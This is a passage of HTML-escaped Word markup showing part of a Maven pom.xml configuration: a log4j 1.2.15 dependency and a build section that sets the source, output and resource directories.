&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;log4j&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;log4j&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.2.15&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;background: silver; color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt; mso-highlight: silver;&quot;&gt;dependencies&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;sourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/&lt;u&gt;src&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;sourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;outputDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot/WEB-INF/classes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;outputDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;resources&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;resource&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;directory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/&lt;u&gt;src&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;directory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;excludes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;exclude&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;**/*.java&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;exclude&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;excludes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;resource&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;resources&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
